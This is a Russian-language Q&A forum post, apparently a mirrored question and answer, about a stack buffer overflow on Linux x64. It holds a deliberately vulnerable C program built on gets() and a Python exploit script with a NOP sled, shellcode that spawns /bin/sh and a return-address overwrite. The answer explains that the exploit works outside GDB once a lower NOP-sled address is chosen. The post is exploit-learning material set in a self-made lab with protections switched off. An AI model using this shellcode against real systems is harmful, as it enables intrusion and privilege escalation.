Внедрение Shellcode на Linux x64 - PullRequest
0 голосов
/ 08 октября 2019

Я столкнулся с проблемой при попытке ввести шелл-код в программу через переполнение буфера на 64-битной. Я уже отключил ASLR и скомпилировал без стековых файлов cookie и с помощью execstack.

// vuln.c
#include <stdio.h>

void vuln()
{
        printf("Give me something to worry about...\n");

        char buf[500];
        gets(buf);

        printf("No root shell for you...\n");
}

int main()
{
    vuln();
}
# exp.py
from struct import pack

payload_len = 520
nop = "\x90"*300
# Address in the middle of the nop stack
rip = 0x7fffffffdf4c

buf = ""
buf += "\x48\x31\xc0\x50\x5f\xb0\x03\x0f\x05"
buf += "\x50\x48\xbf\x2f\x64\x65\x76\x2f\x74\x74\x79\x57\x54\x5f\x50\x5e\x66\xbe\x02\x27\xb0\x02\x0f\x05"
buf += "\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x50\x57\x54\x5e\x48\x99\xb0\x3b\x0f\x05"

buf_len = len(buf)
nop_len = len(nop)
padding = "A"*(payload_len-nop_len-buf_len)

payload = nop + buf + padding + pack("<Q", rip)

print payload

В основном эксплойт работает только во время работы в GDB (я могу запустить оболочку), но не в командной строке,Я подумал, что это может быть из-за закрытой трубы, поэтому я попробовал трюк с кошкой, выполнив (python exp.py; cat) | ./vuln, но это не помогло. Очевидно, что использование эксплойта в gdb не позволяет повысить привилегии. Кто-то знает, что я делаю не так?

Заранее спасибо.

1 Ответ

0 голосов
/ 14 октября 2019

Очевидно, адрес, который я получил с помощью gdb (rip = 0x7fffffffdf4c), был слишком близко к началу буфера, и при выполнении из командной строки выполнение было перенаправлено в недопустимую память (я полагаю, что стек был немного смещен по сравнению с выполнением с использованиемGDB). При выборе адреса ниже на слайде NOP все работает как положено.

...